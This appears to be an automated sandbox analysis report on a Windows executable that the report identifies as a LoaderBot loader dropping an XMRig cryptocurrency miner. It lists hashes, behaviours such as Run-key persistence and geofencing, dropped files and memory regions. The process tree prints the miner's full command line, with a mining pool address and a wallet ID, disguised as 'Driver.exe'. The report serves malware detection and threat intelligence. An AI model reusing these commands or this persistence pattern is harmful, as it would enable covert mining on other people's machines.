Analysis

  • max time kernel
    40s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230703-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29-07-2023 01:13

General

  • Target

    bd98741688cd682de40435bf3acc408f069f83a6643e8ba2140b65d48d76f8cc.exe

  • Size

    2.1MB

  • MD5

    33c0e224d30d6a384b0a65ed6841db46

  • SHA1

    4212a034fb0f8d348a67af07950a113a00ecbe46

  • SHA256

    bd98741688cd682de40435bf3acc408f069f83a6643e8ba2140b65d48d76f8cc

  • SHA512

    cefafd4e94f0bf43749b3f86a26047d5f00fd2567ba1a8cbae5f5b0c5338885b4393750aa2694e4dbdbffbace0520bf9fae138dabb0bae5791c7d131b834cb5b

  • SSDEEP

    49152:kBqk0bbljM7cERDkZ6tFd+hHZdSlDzKu2MTEsQWeW2Zn:uN0va7XRDdUdGDzKu9Tt92Zn

Malware Config

Signatures

  • LoaderBot

    LoaderBot is a loader written in .NET downloading and executing miners.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • LoaderBot executable 4 IoCs
  • XMRig Miner payload 16 IoCs
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\bd98741688cd682de40435bf3acc408f069f83a6643e8ba2140b65d48d76f8cc.exe
    "C:\Users\Admin\AppData\Local\Temp\bd98741688cd682de40435bf3acc408f069f83a6643e8ba2140b65d48d76f8cc.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2876
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\1.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1188
      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\work.exe
        work.exe -priverdD
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:220
        • C:\Users\Admin\AppData\Local\Temp\RarSFX1\dwa.exe
          "C:\Users\Admin\AppData\Local\Temp\RarSFX1\dwa.exe"
          4⤵
          • Checks computer location settings
          • Drops startup file
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:5104
          • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
            "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 48yPCPrhTDZ97kRwGzi3DLBQGM8xv77vBAArH3ZfG8dM45UfAUSVHzWZLWnAJSssGGftYqUGSAS8kKWQGpd5o1C7FvNFkNy -p x -k -v=0 --donate-level=1 -t 4
            5⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:2196
            • C:\Windows\system32\WerFault.exe
              C:\Windows\system32\WerFault.exe -u -p 2196 -s 764
              6⤵
              • Program crash
              PID:3468
          • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
            "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 48yPCPrhTDZ97kRwGzi3DLBQGM8xv77vBAArH3ZfG8dM45UfAUSVHzWZLWnAJSssGGftYqUGSAS8kKWQGpd5o1C7FvNFkNy -p x -k -v=0 --donate-level=1 -t 4
            5⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:5020
            • C:\Windows\system32\WerFault.exe
              C:\Windows\system32\WerFault.exe -u -p 5020 -s 876
              6⤵
              • Program crash
              PID:1104
          • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
            "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 48yPCPrhTDZ97kRwGzi3DLBQGM8xv77vBAArH3ZfG8dM45UfAUSVHzWZLWnAJSssGGftYqUGSAS8kKWQGpd5o1C7FvNFkNy -p x -k -v=0 --donate-level=1 -t 4
            5⤵
              PID:1100
    • C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -pss -s 448 -p 2196 -ip 2196
      1⤵
        PID:3968
      • C:\Windows\system32\WerFault.exe
        C:\Windows\system32\WerFault.exe -pss -s 484 -p 5020 -ip 5020
        1⤵
          PID:976

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\1.bat

          Filesize

          35B

          MD5

          ff59d999beb970447667695ce3273f75

          SHA1

          316fa09f467ba90ac34a054daf2e92e6e2854ff8

          SHA256

          065d2b17ad499587dc9de7ee9ecda4938b45da1df388bc72e6627dff220f64d2

          SHA512

          d5ac72cb065a3cd3cb118a69a2f356314eeed24dcb4880751e1a3683895e66cedc62607967e29f77a0c27adf1c9fe0efd86e804f693f0a63a5b51b0bf0056b5d

        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\work.exe

          Filesize

          1.9MB

          MD5

          9f57a7f949f176935f64330bf6fbf5ff

          SHA1

          7daeb0f5489d0cab2bf8fa45b5e7fdd18ec06972

          SHA256

          f7c677268101c552a72c8d224b24cf7a2b42d9bcf90722dc12529b3c1e3d455b

          SHA512

          a63bab0bb0b646e31a95b53344b183a4fb9809926530d2c27fd410c69e093fdf3e23f51dd51a935ce3c2d63d9cf2210dd9a3a250644fc6d68ac7326946908632

        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\work.exe

          Filesize

          1.9MB

          MD5

          9f57a7f949f176935f64330bf6fbf5ff

          SHA1

          7daeb0f5489d0cab2bf8fa45b5e7fdd18ec06972

          SHA256

          f7c677268101c552a72c8d224b24cf7a2b42d9bcf90722dc12529b3c1e3d455b

          SHA512

          a63bab0bb0b646e31a95b53344b183a4fb9809926530d2c27fd410c69e093fdf3e23f51dd51a935ce3c2d63d9cf2210dd9a3a250644fc6d68ac7326946908632

        • C:\Users\Admin\AppData\Local\Temp\RarSFX1\dwa.exe

          Filesize

          4.0MB

          MD5

          d0cc6d35827351c327a72dbd86542d2f

          SHA1

          ebd3d0bf770e05e0f93c4241e7169d39cc86e5fd

          SHA256

          3a662fa4c1c6b1b2e4ee8ae6ef9f6c3e8d0c9c19644a8cab9f8b5ec803614bc8

          SHA512

          7c10261f20ededeaf1c1df7609040d91affbfcc2b7a2b2d7ef88d78c66efd1767e1c9c79fbcc5889e397d078337c40ab902088c99e20fc6258695103fed56ea4

        • C:\Users\Admin\AppData\Local\Temp\RarSFX1\dwa.exe

          Filesize

          4.0MB

          MD5

          d0cc6d35827351c327a72dbd86542d2f

          SHA1

          ebd3d0bf770e05e0f93c4241e7169d39cc86e5fd

          SHA256

          3a662fa4c1c6b1b2e4ee8ae6ef9f6c3e8d0c9c19644a8cab9f8b5ec803614bc8

          SHA512

          7c10261f20ededeaf1c1df7609040d91affbfcc2b7a2b2d7ef88d78c66efd1767e1c9c79fbcc5889e397d078337c40ab902088c99e20fc6258695103fed56ea4

        • C:\Users\Admin\AppData\Local\Temp\RarSFX1\dwa.exe

          Filesize

          4.0MB

          MD5

          d0cc6d35827351c327a72dbd86542d2f

          SHA1

          ebd3d0bf770e05e0f93c4241e7169d39cc86e5fd

          SHA256

          3a662fa4c1c6b1b2e4ee8ae6ef9f6c3e8d0c9c19644a8cab9f8b5ec803614bc8

          SHA512

          7c10261f20ededeaf1c1df7609040d91affbfcc2b7a2b2d7ef88d78c66efd1767e1c9c79fbcc5889e397d078337c40ab902088c99e20fc6258695103fed56ea4

        • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

          Filesize

          3.9MB

          MD5

          02569a7a91a71133d4a1023bf32aa6f4

          SHA1

          0f16bcb3f3f085d3d3be912195558e9f9680d574

          SHA256

          8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

          SHA512

          534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

        • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

          Filesize

          3.9MB

          MD5

          02569a7a91a71133d4a1023bf32aa6f4

          SHA1

          0f16bcb3f3f085d3d3be912195558e9f9680d574

          SHA256

          8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

          SHA512

          534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

        • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

          Filesize

          3.9MB

          MD5

          02569a7a91a71133d4a1023bf32aa6f4

          SHA1

          0f16bcb3f3f085d3d3be912195558e9f9680d574

          SHA256

          8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

          SHA512

          534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

        • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

          Filesize

          3.9MB

          MD5

          02569a7a91a71133d4a1023bf32aa6f4

          SHA1

          0f16bcb3f3f085d3d3be912195558e9f9680d574

          SHA256

          8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

          SHA512

          534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

        • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

          Filesize

          3.9MB

          MD5

          02569a7a91a71133d4a1023bf32aa6f4

          SHA1

          0f16bcb3f3f085d3d3be912195558e9f9680d574

          SHA256

          8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

          SHA512

          534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

        • memory/1100-207-0x0000000002020000-0x0000000002040000-memory.dmp

          Filesize

          128KB

        • memory/1100-213-0x0000000002040000-0x0000000002060000-memory.dmp

          Filesize

          128KB

        • memory/1100-210-0x0000000002080000-0x00000000020A0000-memory.dmp

          Filesize

          128KB

        • memory/1100-209-0x0000000002060000-0x0000000002080000-memory.dmp

          Filesize

          128KB

        • memory/1100-208-0x0000000002040000-0x0000000002060000-memory.dmp

          Filesize

          128KB

        • memory/1100-212-0x0000000002020000-0x0000000002040000-memory.dmp

          Filesize

          128KB

        • memory/1100-206-0x0000000140000000-0x0000000140B75000-memory.dmp

          Filesize

          11.5MB

        • memory/1100-205-0x0000000140000000-0x0000000140B75000-memory.dmp

          Filesize

          11.5MB

        • memory/1100-211-0x0000000140000000-0x0000000140B75000-memory.dmp

          Filesize

          11.5MB

        • memory/2196-170-0x0000000140000000-0x0000000140B75000-memory.dmp

          Filesize

          11.5MB

        • memory/2196-172-0x0000000001EB0000-0x0000000001EC4000-memory.dmp

          Filesize

          80KB

        • memory/2196-173-0x0000000140000000-0x0000000140B75000-memory.dmp

          Filesize

          11.5MB

        • memory/5020-185-0x0000000013800000-0x0000000013820000-memory.dmp

          Filesize

          128KB

        • memory/5020-197-0x0000000140000000-0x0000000140B75000-memory.dmp

          Filesize

          11.5MB

        • memory/5020-184-0x00000000134D0000-0x00000000134F0000-memory.dmp

          Filesize

          128KB

        • memory/5020-182-0x0000000002120000-0x0000000002140000-memory.dmp

          Filesize

          128KB

        • memory/5020-186-0x0000000140000000-0x0000000140B75000-memory.dmp

          Filesize

          11.5MB

        • memory/5020-187-0x0000000002120000-0x0000000002140000-memory.dmp

          Filesize

          128KB

        • memory/5020-188-0x00000000131A0000-0x00000000131C0000-memory.dmp

          Filesize

          128KB

        • memory/5020-189-0x00000000134D0000-0x00000000134F0000-memory.dmp

          Filesize

          128KB

        • memory/5020-190-0x0000000013800000-0x0000000013820000-memory.dmp

          Filesize

          128KB

        • memory/5020-191-0x0000000140000000-0x0000000140B75000-memory.dmp

          Filesize

          11.5MB

        • memory/5020-192-0x0000000140000000-0x0000000140B75000-memory.dmp

          Filesize

          11.5MB

        • memory/5020-193-0x0000000140000000-0x0000000140B75000-memory.dmp

          Filesize

          11.5MB

        • memory/5020-194-0x0000000140000000-0x0000000140B75000-memory.dmp

          Filesize

          11.5MB

        • memory/5020-195-0x0000000140000000-0x0000000140B75000-memory.dmp

          Filesize

          11.5MB

        • memory/5020-196-0x0000000140000000-0x0000000140B75000-memory.dmp

          Filesize

          11.5MB

        • memory/5020-183-0x00000000131A0000-0x00000000131C0000-memory.dmp

          Filesize

          128KB

        • memory/5020-198-0x0000000140000000-0x0000000140B75000-memory.dmp

          Filesize

          11.5MB

        • memory/5020-199-0x0000000002120000-0x0000000002140000-memory.dmp

          Filesize

          128KB

        • memory/5020-201-0x00000000134D0000-0x00000000134F0000-memory.dmp

          Filesize

          128KB

        • memory/5020-200-0x00000000131A0000-0x00000000131C0000-memory.dmp

          Filesize

          128KB

        • memory/5020-202-0x0000000013800000-0x0000000013820000-memory.dmp

          Filesize

          128KB

        • memory/5020-181-0x0000000140000000-0x0000000140B75000-memory.dmp

          Filesize

          11.5MB

        • memory/5020-180-0x0000000140000000-0x0000000140B75000-memory.dmp

          Filesize

          11.5MB

        • memory/5020-179-0x0000000140000000-0x0000000140B75000-memory.dmp

          Filesize

          11.5MB

        • memory/5020-177-0x0000000002100000-0x0000000002120000-memory.dmp

          Filesize

          128KB

        • memory/5104-178-0x0000000004FC0000-0x0000000004FD0000-memory.dmp

          Filesize

          64KB

        • memory/5104-175-0x0000000073330000-0x0000000073AE0000-memory.dmp

          Filesize

          7.7MB

        • memory/5104-160-0x00000000053F0000-0x0000000005456000-memory.dmp

          Filesize

          408KB

        • memory/5104-159-0x0000000004FC0000-0x0000000004FD0000-memory.dmp

          Filesize

          64KB

        • memory/5104-156-0x0000000073330000-0x0000000073AE0000-memory.dmp

          Filesize

          7.7MB

        • memory/5104-155-0x0000000000260000-0x000000000065E000-memory.dmp

          Filesize

          4.0MB